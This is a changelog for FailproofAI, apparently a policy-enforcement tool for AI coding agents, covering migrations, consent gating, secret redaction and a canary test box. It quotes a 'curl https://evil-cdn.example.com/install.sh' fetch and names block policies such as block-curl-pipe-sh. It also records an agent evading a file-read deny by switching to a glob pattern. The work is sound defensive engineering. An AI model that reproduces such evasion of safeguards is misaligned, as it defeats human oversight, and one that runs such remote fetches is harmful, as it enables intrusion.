`machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries. Nothing is deleted to make room: the ONLY file the step removes is a legacy source whose destination already holds the authoritative copy, and it is removed rather than left at the root because a second copy of a bearer credential is a liability. A failure to remove it propagates rather than being swallowed, so the home stays at layout 3 and retries instead of being marked migrated with the credential still sitting there. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) - -### Fixes - -- **Stop an existing `[audit] auto` being read as consent to send findings off the machine.** `reportHarm` gated every network send on that key alone. Through 1.0.0 it meant "scan this machine locally on a timer" and nothing more: no account, no network, the server action that wrote it had no auth check at all, and the toggle's own copy said in as many words that nothing leaves the machine. Harm digests gave the same stored bit a second job, so any machine with `auto` already true and a session on disk — which the reminder and invite flows already created, and which the layout-4 step carries forward intact — would have uploaded redacted transcript excerpts and mailed a digest on its first scheduled run after upgrading, having agreed to nothing of the kind, with the only notice a stdout line that on a headless box goes to the journal. Sending is now gated on `[audit] reports_consented_at`, stamped in the same write as `auto` by both opt-in paths — the CLI's `--schedule` after its sign-in, and the dashboard toggle after its `whoAmI` check, looking at the panel that enumerates what gets sent. Not the second switch the config's own comment rejects and never drawn as one: `auto` is what a person sets, this records the disclosure they saw, and nothing can set one without the other. A grandfathered machine keeps scanning locally, sends nothing, and gets a line saying how to turn digests on. (#698) - -- **Stop the digest shipping assigned secrets verbatim, and fix two redaction misfires.** `protect-env-vars` is hand-added to the harmful set and its dominant trigger is `export VAR=…`, whose example is the whole command — while `SECRET_PATTERNS` matches nine vendor-prefixed formats, a JWT, a literal `Authorization: Bearer` and a fixed non-HTTP scheme list, none of which is an assignment. So `export DATABASE_PASSWORD=…`, `export AWS_SECRET_ACCESS_KEY=…`, `npm config set _authToken=…` and `https://user:pass@host` all left the machine unchanged, and `export` is ubiquitous in agent sessions. `maskAssignedSecrets` covers `NAME=value` where the name says credential, inline URL credentials on any scheme, and curl's `-u user:pass`, keeping the name and masking only the value so the digest still says WHICH credential was exposed. It runs last of the three passes, so a vendor pattern keeps first refusal on anything it can label precisely. These live in the redactor rather than the shared `SECRET_PATTERNS` deliberately: `sanitize-*` BLOCKS a tool call, so a name-based rule there denies work the user wanted, while redaction only removes characters and can afford the wider net. Also: every prefix in `SECRET_PREFIXES` was unanchored, so `sk-` matched inside ordinary words — `kubectl get pods -n risk-scoring` redacted to `… -n ri[REDACTED: OpenAI API key]`, inventing a credential the digest then reported and destroying the token that said which command ran; and path shortening deleted a URL's HOST as though it were a directory, so `curl https://evil-cdn.example.com/install.sh` came out `https:/…/install.sh` with the domain — the entire security decision in that finding — removed. (#698) - -- **Warn about the daemon on the command that strands it.** This release moves the home to layout 4, and `failproofaid` calls `refuse_foreign_layout()` before it binds its socket: a binary built against layout 3 exits rather than serve a layout-4 home. That function shipped in 1.0.0, whose `paths.rs` says `LAYOUT_VERSION = 3`, so every already-installed daemon refuses once the marker moves — and nothing refreshes the binary on upgrade, since `refreshDaemonToCliVersion` has one non-test caller and there is no postinstall. The first ordinary CLI command migrated the home and armed the failure while nothing looked wrong, because the running daemon read the marker once at startup and kept serving from memory. It landed at the next reboot: the unit exits nonzero, `Restart=on-failure` trips the start limit, the service latches `failed`, and a daemon-configured machine that cannot reach its daemon denies every tool call across all 11 CLIs — with `healDaemonFlag()` unable to rescue it, since a layout-refusing unit reads as `stopped`, which it deliberately excludes. The branch that performs the migration was the one path emitting no daemon hint at all, and that hint told everybody a stale daemon "is slower to notice an upgrade, not broken" — false across a layout bump — while pointing at `failproofai config` rather than `failproofai update`. It now branches on `daemon.configured`. (#698) - -- **Eleven more from a multi-agent review pass**, each verified against the code before it was touched. **The migration's session backup outlived the migration**: `migrationsDir` is `identity` class so no reset removes it, and `deleteAuth()` only knew the live path — a dashboard sign-out, a 401 auto-delete and `failproofai reset` all left a working bearer and refresh token in `backup-layout3/`, to be carried into every dotfile backup and container image after it, with no CLI sign-out at all on the headless boxes this targets. A clean chain now prunes it (guarded on the file being readable at its new home), a FAILED chain keeps it, and sign-out sweeps any straggler. **A dead session read as a working destination**: `--schedule` printed `reports to
` and exited 0 with the expiry unread, so a lapsed or revoked token meant digests configured, destination shown, and nothing delivered for up to a full interval. **Each migration step now stamps its own target** rather than `LAYOUT_VERSION`, so a chain killed between steps cannot leave a layout-3 home marked current with its session unreachable forever. **A failed copy no longer leaves a partial destination** for the retry to read as authoritative and delete the good original behind. **The report window is clamped against its own end**, so a backwards clock jump cannot make `from` later than `to` and silently drop every finding forever. **`extractCode` stops eating the sentence's digits** — the prompt invites pasting the whole line, and `Your failproof code is 123456 (expires in 10 minutes)` became `12345610`, which passes the validator and burns an attempt. **A Mac is no longer told its healthy daemon will not run** (`sudo -n` with no cached credential answers "unknown", not "broken"). **Offline is told apart from expired**, since `whoAmI()` returns null for both and the user was handed a code prompt that cannot succeed either. **`/settings` can recover from a dead session** — it said "sign in" and offered no control to do it with. **The daemon's start time stops counting sleep**, having mixed `CLOCK_MONOTONIC` with `os.uptime()` so a nightly-suspending laptop read "up 30d" for a daemon started yesterday. And **`/settings` is gated by `FAILPROOFAI_DISABLE_PAGES` again** — the rewrite dropped the check the other pages carry and put the gear outside the navbar's filter, on the page that shows the address digests go to and can sign the machine out. (#698) - -- Five defects from an adversarial pass, each demonstrated before it was touched. **The digest went permanently quiet on the machines with the most to report.** A policy straddling the window falls back to counting its in-window examples, and the audit keeps at most three per policy in transcript-walk order — so on a machine months into its history those three are routinely all old, a policy that fired an hour ago scored zero, and the row was dropped. `firstSeen` never moves back past the watermark, so it was dropped from every later report too: not a delayed digest, a feature that silently stops working the longer you use it. Where `lastSeen` itself falls inside the window, that timestamp IS a real in-window event, so the count floors at one rather than vanishing — "never invent a hit" intact. **A failed migration could strand a home as "current" forever.** Every step ends at `writeVersionFile()`, which stamped `LAYOUT_VERSION` rather than the step's own `to` — harmless while every chain was one hop, and a trap the moment this release made one two. On `2 → 3 → 4` the first step stamps 4, so a `3 → 4` that throws leaves `detectLayout()` reporting `current`: nothing ever retries, `auth.json` stays at the root while layout 4 reads `audit/session.json`, and the machine is signed out with its own session still on disk. `writeVersionFile` now honours the `layout` its signature always accepted and its body silently ignored, and a failed step puts the marker back at `step.from`. **A pasted OTP killed the sign-in.** The api-server validates the code at 4..12 characters, so pasting "Your code is 123456" out of the email returns `validation_error` rather than `invalid_code` — and the retry loop only re-prompts on `invalid_code`, so it aborted and cost a fresh email. The prompt is bounded at both ends now, matching the server. **One failed refresh blanked a healthy settings console.** `reload`'s catch closed over a `view` frozen at first render, so on a page the server could not seed it stayed null forever and the next transient failure — a tab hide fires the same listener — replaced a working console with an error. **An interval edit was silently dropped**: 7 → 14 → 7 compared the second write against a stale mirror, decided nothing had changed, and skipped it, leaving the input reading 7 and the config saying 14. Also `audit_share_section_shown` latched before the auth probe resolved, recording `signed_in: false` for every view ever taken. (#698) - -- Four from review, each verified against the code before it was touched — nine other findings were stale or cosmetic and are left alone. **The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`, keeping the name as the basename immediately after the `~` whose entire job is to stand in for it: the one path guaranteed to identify a person was the one path spelled out, and it went to the api-server in `harmful[].examples` and into the digest. The home directory is now `~` and nothing else. Fixing it surfaced a second defect underneath — `underHome` used a bare `startsWith`, so a home carrying a trailing slash failed to match itself, and `/home/u2` matched `/home/u`; the boundary is checked now, once, outside the replace callback. **A policy straddling the window's upper edge reported hits from after it.** `wholly` tested the lower bound alone, so a policy that began inside the window and was still firing after it closed sent `count.hits` — every hit, including the ones past `to` — while its examples were correctly filtered to the window. Those hits then landed inside the NEXT window too, since the watermark advances to `to`, and were reported a second time from one occurrence. Both edges are checked; a straddle at either falls back to the examples actually inside, which undercounts but never invents. **`FAILPROOFAI_AUTH_DIR` upgrades signed people out silently.** It is a documented env var naming a directory outside the managed home, and every path in the layout-4 step comes from `FAILPROOFAI_HOME` — so the override directory was never visited, the file stayed `auth.json`, layout 4 read `session.json`, and the session vanished with no message: scans still running, digests quietly stopped. The step migrates that directory too, so one naming scheme holds regardless of how the process was configured. **A failed cleanup marked the migration successful.** When the destination already existed the step dropped the layout-3 original and swallowed any error, then carried on to stamp layout 4 — leaving `auth.json`, a live bearer token, at the home root where nothing would look at it again and nothing would ever clean it up. It propagates now, which leaves the home at layout 3 and retries on the next command, exactly as `runMigrations` documents a failed step to mean. (#698) - -- Stop a harm-report test asserting a path shape that only holds on the machine that wrote it. `redactExample` resolves the real `homedir()` to decide whether a path earns the `~` prefix, and the test fed it a hardcoded `/home/sidd/...` while expecting `~/…/.env` — true on the author's box, false on CI, where `HOME` is `/home/runner` and the same input correctly redacts to `/…/.env`. The example is now built from `homedir()`, so the assertion is about the REDACTION rather than about whose laptop ran it. Verified by re-running the suite with `HOME` overridden, which reproduces the CI failure exactly and then passes. (#698) - -- Three fixes to the harm digest, all found by running the whole stack against a real machine rather than a fixture. **A first report covered all of history.** With no watermark the window was "everything", which against 230 sessions and 22,059 tool calls produced **5,815 findings** — every number true and the digest still wrong, because somebody's first email would describe their agent's entire recorded history as though it were this week's news, and would trip the critical-policy bypass on day one for essentially everyone. A first report is now bounded to one `interval_days` back from the scan, so the opening digest covers the same period every later one does; the same run then reports **17**. The older findings are not lost, they are simply not news — they are on the dashboard, which is where a full history belongs. **A truncated secret shipped as a fragment.** A real digest came back containing `authorization: Bearer s`. The audit caps every example at 80 characters at CAPTURE time, long before the redactor sees it, so a command ending in a credential arrives with the credential's tail already gone and the full pattern no longer matches — the exact failure the mask-before-shorten ordering guards against, arriving from upstream instead. A second pass now masks a known secret prefix sitting at the END of a string, on the assumption it was cut; one character is not a usable secret, but the number was set by where the truncation happened to land rather than by anything we control. **`/dev/null` was being shortened to `/…/null`**, which reads as though something was hidden when nothing was; kernel and device roots are identical on every machine, identify nobody, and are now left intact. (#698) - -- Resume the CTA that opened the sign-in dialog, instead of assuming it was the reminder. The reminder and "invite a friend" buttons share one `AuthDialog`, and which one opened it was tracked only as `authCopy` — the headline and subhead to show — while `handleAuthed` unconditionally called `persistReminder`. So the dialog knew which button had been pressed for the purpose of its own COPY and not for the purpose of its own EFFECT, and the invite path did the reminder path's work: a user who clicked *invite a friend*, read "Oops! Login required", and signed in got a 7-day reminder they never asked for, and no invite dialog — their actual intent dropped on the floor. An explicit `pendingAction` now carries the intent (and, for a reminder, the cadence whose button was actually pressed, so a re-render between click and verify cannot change which one lands); the copy is DERIVED from it, so the two can no longer disagree, and a third CTA means adding a case rather than remembering to branch inside a handler that has no idea it is shared. Dismissing the dialog clears the intent, because leaving it set would make the next sign-in — from any other CTA — resume something the user had walked away from; and "no pending action" is now expressible at all, which it was not before. The component's tests were the other half of the story: they covered which COPY each CTA shows and nothing else, so they were exactly as green on the broken version as on the fixed one. Three tests now pin the effect — invite resumes the invite dialog and writes no reminder, a cadence button still writes its reminder, and a dismissed dialog abandons the intent. (#698) - -- Stop `detectLayout()` deriving a landmark's layout from whatever this build speaks. `config.toml` with no `config.json` returned `LAYOUT_VERSION - 1`, which read correctly while current was 3 and became silent data loss at 4: a genuine layout-2 home was reported as layout 3, so `planMigration` ran only the 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps the home as current. `config.toml` and `credentials.toml` would never be carried into JSON, orphaning the cloud token and `daemon.configured` on a machine that then reads as fully migrated. A landmark identifies ONE layout and is never relative. The `config.json` branch above it had the same shape with a different ending: that file proves "layout 3 or later" and cannot separate the two, so a layout-3 home that lost its `VERSION` was called current, the 3 → 4 move never ran, and the user was silently signed out with `auth.json` still sitting on disk. What actually separates 3 from 4 is where the audit's files sit, so it now asks that directly — any of the three still at the root means stale — and when none are present the two layouts are identical on disk, the step would move nothing, and current is the correct non-destructive answer. Found by the layout-4 bump: the assertion that caught it was pinned to `2` and started failing the moment the constant moved, which is the whole reason it was written that way. (#695) - -- Move the nightly doc translation onto the canary box too, so one machine and one installer carry both scheduled jobs. Runner minutes were the entire cost of both crons; the LLM spend is identical wherever they run. The runner image already knew how to lock, check out a ref and hand off to a script from that checkout, so `$CANARY_JOB` now selects WHICH script — `jobs/canary.sh` (the integration suite, 11:00 local) or `jobs/translate.sh` (the translation, 02:00 local) — resolved to a path rather than through a case statement, so a third job is a new file in the repo and never an image rebuild. Everything per-run is keyed by job: the **lock** above all, because one shared lock lets a canary wedged on a vendor CLI swallow the night's translation and the swallow is a clean `exit 0` that reports nowhere; also the clone, since translate commits and switches branches inside its checkout, and the log. `install.sh` grew `--jobs`, per-job `--at-*` flags and one cron line per job, each behind its own marker so installing one never strips the other's; it validates credentials **per job**, so installing only the canary never demands a translation PAT, and it prints the timezone cron resolved, because "02:00" read as UTC on an IST box is 07:30 and the person reading the output is the one who would be surprised. Three things collapse in the move and are why the job is shorter than the workflow it replaces: the 14-way matrix was runner parallelism, not translation structure (cli.ts already fans out over pages x languages under one limit, so one process at `TRANSLATE_MAX_CONCURRENT=16` reproduces CI's exact peak of `max-parallel: 4` x 4 — which deletes the artifact round-trip, the per-language cache fragments and the ~35-line script that merged them); the Actions cache layer becomes a 13 KB file symlinked into the checkout from the work dir; and `consolidate`'s re-checkout-and-overlay existed only because its siblings ran on other machines. The one genuinely new credential is a push token — Actions minted a repo-scoped `GITHUB_TOKEN` that died with the job, and a box needs a long-lived fine-grained PAT, which is why it goes in a git credential helper rather than the remote URL: git echoes the remote back on a push error and the Slack crash-note carries the log tail. The translate job posts **nothing** to Slack — its output is the pull request it opens, which the PR list already says; its failures land in the run log and the exit code. The canary keeps reporting on every run including the quiet ones, so silence from it means the box did not run rather than that all was well. (#694) - -- Audit the documentation weekly, on the same box. `mintlify validate` and `validate:mdx` answer "does this build", per PR, on the pages a PR touches — and pass happily on a corpus that builds perfectly and is quietly wrong: a page nobody has edited since the CLI it documents was rewritten, a page in the nav that is gone, a page in **no** nav and so unreachable by any reader, an in-body link to something renamed, a translation still describing last quarter's behaviour. None of that fails a build, which is precisely the shape a periodic sweep catches and a per-PR gate structurally cannot. `docs-audit` runs Mondays at 04:00 and posts what it found. It is the cheapest job on the box — **no gateway key, no push token, no sibling containers**, so it installs on a machine holding no credentials at all beyond the webhook — and that is deliberate: an audit that could also FIX what it finds would need write access and a much longer argument about what it may change unattended. It **reports and exits 0 by design**; `--fail-on-findings` exists for a future caller that wants a gate and is off by default, because a docs audit that turns the build red the day a page crosses an age threshold gets switched off within a week, and then there is neither a gate nor a report. It reports two ways: the weekly Slack post, and one `[auto] docs audit` tracking ISSUE kept current on GitHub — opened when there is something to do, its body refreshed each week, and closed when a week comes back clean, so an open issue always means "there is something to do" rather than "this ran once, months ago". An issue and not a PR, deliberately: a report is not a change, so a weekly PR would either sit open forever or auto-merge a file nobody reads, and an audit opening a FIXING PR would have almost nothing safe to put in it — a dangling nav entry might mean "delete the entry" or "restore the page", an orphan page might be deliberately unlisted, a broken link has no inferable target, and each is a judgement this job cannot make. Its token is correspondingly weak, `Issues: read+write` and nothing else, since it never changes a file; leave it empty and the job degrades to Slack alone. `countActionable` decides open-vs-closed and deliberately EXCLUDES stale and never-translated pages, because the nightly translation closes both by itself and counting them would hold the issue open forever — the only way a tracking issue can actually fail. The judgement lives in `scripts/docs-audit.ts` — pure functions taking the git log, the file list and the cache as arguments, so every detector is unit-tested in **both** directions (it fires on the bad case, and stays silent on the good one) without a repo, a docs tree or a clock; the shell job is only box wiring around `bun run docs:audit`, which anyone can run by hand. Two details worth knowing: it reads the same translation cache the nightly job writes, or every page would report as never-translated every week — a 672-line finding that is an artefact of where a file lives rather than a fact about the docs; and it skips link forms it cannot resolve (external, anchors, relative) rather than guessing, because the first finding nobody can reproduce is what gets the whole weekly post ignored. It also hardened the ref check. Matching the NAME against one known-stale branch (`origin/failproofaid`) only ever caught that one branch — a merged-and-deleted feature branch sailed straight through, which is exactly what was sitting in a real `secrets.env`: `CANARY_REF=origin/feat/canary-local-runner`, so the box would have tested a frozen tree forever and never said so. The installer now asks the REMOTE whether the branch still exists, which catches every deleted branch without naming any, and warns (without refusing) on anything that is not `origin/main` — legitimate for a one-off, rarely right for a cron line. Scheduling it also taught the installer to say weekly at all: a spec is now `"M H"` or a full five-field cron expression, and a job name may carry a dash (`docs-audit` is a valid path component and an invalid shell variable name), so every per-job lookup goes through one conversion rather than each site remembering. (#694) - -- Publish the box's runner image, so setting a machine up needs Docker and a credentials file and nothing else. `.github/workflows/build-canary-runner.yml` pushes `ghcr.io/failproofai/failproofai-canary-runner` on every change to the baked layer — and ONLY the baked layer, because job scripts reach the box through the run-time clone and triggering a publish on those would lose the split that lets a harness change reach the box without touching it. Every cron line carries `--pull=always`, so the box tracks the image with nothing to re-run: no clone, no build, no second visit from the installer. The package is set public by the workflow, deliberately — a private one turns a one-line cron into a `docker login` plus a fourth credential that expires and silently breaks every job when it does, and there is nothing in the layers to protect (node, bun, git, the docker client, mintlify; every secret arrives at run time through `--env-file`, and the repo is cloned at run time too). The docker socket now goes to the **canary alone**, which is the one job that spawns sibling containers — the entrypoint used to demand it on every job's behalf, which would have forced two of three cron lines into the long form for nothing. It needs the socket only to RECOVER the work dir, so it is required only when `CANARY_WORK` was not passed; the canary asserts its own requirement up front, where that knowledge belongs, rather than failing an hour in at the first sibling container. `install.sh` now writes cron lines against the published image and pulls it at install time so a bad tag is caught in front of a person, keeping `--build-local` for trying a change to the baked entrypoint before it is published. (#694) - -- Give cron one short line per job. A crontab entry must be a SINGLE line — the format has no continuation — so the docker invocation could not be wrapped, which made each entry ~350 characters: unreadable in a crontab, and mangled by every chat client it was pasted through on the way to whoever sets the box up. `integration-suite/local/run-job.sh` now holds the invocation and the crontab reads `$HOME/fp-canary/run.sh canary`. It also OWNS ITS OWN LOG, which closes a real trap: cron evaluates a `>>` redirect BEFORE the command runs, so a missing `logs/` directory meant the job silently never started — and the container could not create the directory its own redirect needed. mkdir then redirect, in that order. (#694) - -### Docs - -- Bring the audit and dashboard pages to what shipped. The feature landed with `docs/` untouched, so `docs/cli/audit.mdx` still told users to enable scheduling by hand-editing `audit.auto: true` — the exact key whose meaning this release changes — on a page asserting the audit runs "fully offline, no account or network required", while none of the four new flags appeared anywhere in docs and the schedule file was documented at its layout-3 path. It now documents the flags, enumerates what a digest actually sends, carries the redaction caveat rather than implying a guarantee, and explains what an upgrading machine should expect. `docs/dashboard.mdx` documented the deleted reminder route and had no section for the rebuilt settings page at all. (#698) - -### Dependencies - -- Pin `nanoid` to 3.3.18 through `overrides`, closing GHSA-2v37-7h3g-55p8 (CVSS 8.2 — custom generators can loop indefinitely when size is zero). Not introduced here: the lockfile is untouched by this branch, `main` passed the same scan at 04:57 and this branch failed at 16:21, because the advisory's affected range was published in between. It arrives transitively through `postcss`, which asks for `^3.3.17`, so the pin satisfies it without moving anything else — two lines of lockfile, 657 entries before and after. An `overrides` pin rather than an `osv-scanner.toml` ignore because that file's own rule is to prefer fixing, and there is a fix. (#694) - -### Fixes - -- Stop the canary reporting an agent's workaround as broken enforcement. antigravity failed probe B three runs straight, and it was never an enforcement bug: recorded live against agy 1.1.11, `view_file` delivers `AbsolutePath` — which `ANTIGRAVITY_TOOL_INPUT_MAP` already carries — and a deny on it IS honoured (`tool call denied with reason`, sentinel never reaching the model). What actually happened is that `canary-read` identifies the marker by SUBSTRING on the command text. Denied on `cat …/CANARY_MARKER.txt`, the agent retried with `cat …/CANARY_MA*`: the same file, read by a string that no longer contains the matched substring, so the shell expanded the glob and the sentinel landed in the transcript — where a leaked sentinel deliberately outranks our own log claiming a deny. Widening the match closed that family (`CANARY*` globs, and the `cat *` case that names nothing at all) and a later run leaked by yet another route, which is the point: the ways to read a file with a shell are not enumerable. So probe B now tells the two situations apart instead of trying to prevent one of them. A second policy, `canary-read-shell`, denies shell file-reads DURING THE READ PROBE ONLY — identified from the per-probe oracle dir (`FAILPROOFAI_HOOK_LOG_FILE` ends `log-read`), the one per-probe signal a policy can read, since the daemon wire protocol carries no env — and its separate name means a deny under it can never satisfy `read_denied` and score a PASS. A leak that arrives WHILE those shell reads are being denied is now INCONCLUSIVE (unproven) rather than FAIL (broken). The exception is deliberately narrow: a leak with NO shell attempt is still a FAIL, because that is exactly what a CLI ignoring our deny looks like (copilot 1.0.70), and blurring the two would blind this suite to the silent-allow it exists to catch. `read_denied`'s grep grew a trailing space for the same reason — without it `canary-read` also matches the `canary-read-shell` line. Navigation (`ls`, `pwd`, `find` without an `-exec` read) stays allowed, since several CLIs locate the file before reading it and denying that would push CLIs that pass today into INCONCLUSIVE for no gain. Verified: claude and codex still PASS both probes with the detector active, and all six verdict combinations were exercised against the real shell functions. (#694) - -- Make the canary box a one-command install. Setting it up was four commands, and three of them fail SILENTLY for a day — the wrong property for the thing whose whole job is noticing silent failures. A work dir mounted at a different path inside the container than out leaves the sibling-container `-v` sources resolving against the host to nothing; a `CANARY_REF` left at the shipped `origin/failproofaid` points the box at a branch that merged in #632, so it would test a frozen tree forever and never say so; and a filled-in env file with no Slack webhook produces a run that works perfectly and reports nowhere, which is worse than no canary because it looks like coverage. `integration-suite/local/install.sh` refuses each at install time, in front of a person, rather than at 06:17 tomorrow in front of nobody — the webhook is required for that reason, not because the run needs it. It builds the runner image straight from the git URL (Docker takes `#:` as a build context) so the box never clones, installs the env file at mode 600, and REWRITES rather than appends its cron line — it carries a `# failproofai-canary` marker and strips any previous line first, so re-running upgrades the schedule instead of scheduling a second job. No credentials template ships in the repo at all — a file that looks like a credentials file is one `git add -A` away from being committed by whoever fills it in — so running the installer with no arguments prints the variable list instead, generated from the same `REQUIRED_` lists it enforces and therefore unable to drift the way a checked-in example silently does. `--dry-run` distinguishes what it CHECKED (the preflight really runs; it keeps its ✓) from what it would CHANGE, because a script reporting success for work it did not do is the same defect class this canary exists to find. (#686) - -- Stop the nightly doc translation re-translating everything, most days. Runs cost **4 minutes** on Aug 3-5 and **118-136 minutes** every day from Aug 6-11 — ~750 wasted runner-minutes and six full-corpus passes through the LLM gateway in six days. Three causes compound, and none of them was the translation cache's own logic, which is sound. **First, the cache was being evicted between runs.** `ci.yml` cached `target/` under a combined `actions/cache@v6`, so every PR ref that missed the exact key wrote its own 1.5-2.3 GiB copy; five were live at once (#677, #679, #680, #681 and main), putting the repo at **11.56 GiB against GitHub's 10 GiB cap** and so permanently in LRU eviction. What that evicted was the 13 KB translation cache — touched once every 24 hours, therefore always the least-recently-used thing in the store. The restore/save split is the one `build-daemon.yml:117-144` already uses, and its comment there already gives the second reason to want it. **Second, the cache was saved once, at the end of a serial pipeline.** The only save sat in `consolidate`, downstream of both the matrix gate and `mintlify validate`, so a single page failing in a single language discarded all fourteen languages' work: Aug 6 lost ~110 completed minutes to one `ko` page. Each language now saves its own fragment in the job that produced it, immediately after the step that proved it good; the merged entry stays as a cross-language fallback. **Third, a cache HIT never checked that the translated file exists.** `isCached` is a pure function of the English source hash — it records that a page was translated once, not that it is on disk — and translations land on an auto-translate PR branch. With #682 unmerged, `main` lacked `docs//cli/{update,migrate}.mdx` while the cache reported them done, so they were never regenerated, `--update-nav` (which reads the *English* tree) emitted nav entries pointing at them, and `mintlify validate` failed on 28 missing files. That is non-convergent: **a cache hit fails validation and only a full 120-minute miss goes green**, which is exactly what Aug 12 did. Statting the output makes the cache self-healing against any "translated once, never landed" gap. Also: a cache miss is now a visible `::warning` rather than silent — the old restore key always evaluated to the bare literal `translation-cache-`, since the file is gitignored and `hashFiles` returns `""` for an absent path, so every restore that ever worked was a prefix fallback and a total miss looked identical to a hit. Artifact retention goes 1 → 7 days so a run that dies mid-pipeline leaves a manual recovery path. (#685) - -## 1.0.0 — 2026-08-12 - -The first stable release. Everything below this heading shipped across the -`1.0.0-beta.*` line, which stays documented in its own sections underneath. - -Two things are worth stating plainly for anyone arriving at 1.0.0 from a beta. - -**Enforcement runs through a background daemon, and a configured machine fails -closed.** `failproofai config` installs `failproofaid` as a system service; from -that point an unreachable daemon DENIES rather than silently falling back to -in-process evaluation, because a guarantee you can remove by stopping a service -is not one. In-process evaluation still exists and is reachable only on a -machine that was never set up. Linux and macOS only — setup refuses on other -platforms rather than completing with a weaker guarantee. - -**A policy that cannot be honoured on your CLI is not silently pretended.** -`enforcement-capability.ts` records, per (CLI, event) pair and with its evidence, -whether a deny actually changes the agent's behaviour. Absent means UNVERIFIED, -never "blocked". - -### Features - -- Cut setup's prose by two thirds. The daemon step spent three lines explaining the warm-worker architecture to somebody about to type a password; the cloud step spent five on what connecting sends. Eleven lines became three — say what is happening and what it costs, drop the mechanism. The cloud screen keeps the one clause that is not explanation ("Sessions include prompts, file contents and command output"), because it is a consent screen and the only place that disclosure is ever made: `describeOutcome` prints "hook activity" afterwards and never mentions transcripts, so compressing it to "telemetry" would be brevity that is really vagueness. Its option hint now says what the cloud GIVES — central monitoring and policy deployment, which is what the key's two scopes buy — rather than "see what your agents did", which the local dashboard already shows and which made connecting look redundant. The same screen names the product rather than the artefact — "New to FailproofAI? Create a key at befailproof.ai/get-started" — and points at get-started rather than the dashboard host, since somebody reading that line has no key and usually no org either, and "No key?" reads as an error state to a person who has simply not signed up yet. (#683) - -- Give `failproofai config` a Recommended path, so the common install is two questions instead of five. Setup opened by asking scope, policy bundles, harnesses and cloud of somebody who has just installed the tool and does not yet know what any of those mean — every one of which has a defensible default, so asking all four up front made the person least able to answer do the most work. Recommended is not a shortcut past those decisions, it is a decision taken on their behalf: global scope (a project install guards the one directory the command was run from and silently leaves every other repo unguarded), the CLIs actually detected on the machine, and a named 15-policy set. Customize is the previous wizard unchanged — nothing is removed and nothing is hidden, it stops being the only way through. The cloud question is still asked on both paths. (#683) - -- Name what "Recommended" means, in one list with the reasoning attached. `RECOMMENDED_POLICIES` in `policy-presets.ts` is written out rather than derived from `defaultEnabled`, because those answer different questions — `defaultEnabled` seeds a checklist of 40, this answers "what should guard a machine whose owner did not want to choose" — and deriving one from the other would silently reshape the recommended set every time somebody flipped a flag on an unrelated policy. It is the 12 that were already default-on plus **three that were off and should not have been**: `block-rm-rf`, `block-force-push` and `block-secrets-write`. A recommended setup that omits catastrophic deletion and force-push is not recommendable, and both are precisely scoped — `block-rm-rf` only fires at depth ≤2 under `/` or a home directory, exempts `/tmp`, and treats an unresolved `$VAR` target as catastrophic, so `rm -rf node_modules` is untouched; `block-force-push` blocks `--force` and `-f` while explicitly allowing `--force-with-lease` and `--force-if-includes`. Deliberately excluded, each for a stated reason: the `require-*-before-stop` workflow gates (they refuse to let the agent finish until CI is green, and per `enforcement-capability.ts` do not fire at all on hermes or goose), the infra blockers (they break the day job of anyone who runs kubectl), `block-read-outside-cwd` (agents legitimately read outside the repo) and the ten `warn-*` policies (a warning nobody reads is worse than one that was never shown). (#683) - -- Give the review screen a taste of the policy set rather than only a count. `Policies : 15 enabled` is a number the user cannot check and, on the recommended path, did not choose. Two names and a count of the rest now sit under it — `block-curl-pipe-sh, block-env-files +13` — which is the same shape `describeSelection` already uses for bundles, and enough to say what KIND of thing these are without turning a four-line review into a thirteen-line one; a screen nobody reads to the bottom conveys less than a short one. The whole review body is rendered dim by the prompt, so it reads as a subtitle to the count rather than competing with it, and it scales unchanged to "Everything" (`block-aws-cli, block-az-cli +38`). Degrades by dropping a name rather than overflowing: `writeLines` truncates with a hard cut and no ellipsis, so an over-long line ends mid-slug and reads as a policy name that does not exist. (#683) - -- Union rather than replace when Recommended writes. `installHooks` runs with `replace: true`, so writing the bare 15 would switch OFF anything the user had enabled by hand — turning "give me the sensible defaults" into a reduction in protection, the one direction this must never move. On a fresh machine the union is exactly the 15. The `customPoliciesEnabled` flag is left alone on this path for the same reason: the customize expression evaluates to `false` when no bundle is ticked, and no bundle is ever ticked here, so writing it would disable every `.failproofai/policies` file on disk as a side effect of choosing the default setup. (#683) - -### Fixes - -- Give a Hermes session one agent id for its whole life. A single session was arriving under two — confirmed on a customer org, `20260812_133702_31ca19f0` under both `hermes-kratos` and `hermes-telegram`, and a cron session under both `hermes-cron` and the bare fallback, from ONE collector with the other producer's rows excluded. The id was derived from the session's own `cwd` and `source` columns and re-read on every poll, and Hermes rewrites those throughout a run (`hermes_state.py` carries ~20 `UPDATE sessions SET …`), so a session split the moment one changed between two polls. The file documented that as a safety property — "session columns are read fresh on every poll" — while the `pending` map directly below states the opposite rule correctly for tool names; reading fresh is right for a name and wrong for an identity. Identity now comes from which DATABASE the session is in: the root keeps the bare `hermes` every deployment already ships under, and `profiles//state.db` becomes `hermes-`. A path cannot change mid-poll, so this is stable by construction, it keeps the poll function pure (the format contract requires that or re-read rows dedup into duplicates), and it matches the standalone collector's `agent_id_for` so a machine migrating off it is not renamed. Nothing is lost: `hermes_source` and `hermes_cwd` were already on every event, so transport and project stay answerable as filters over one agent's sessions. The regression test polls twice with `cwd` rewritten in between — every existing test polled once, which is why a shipping bug sat behind a green suite. (#683) - -- Close a hole in the 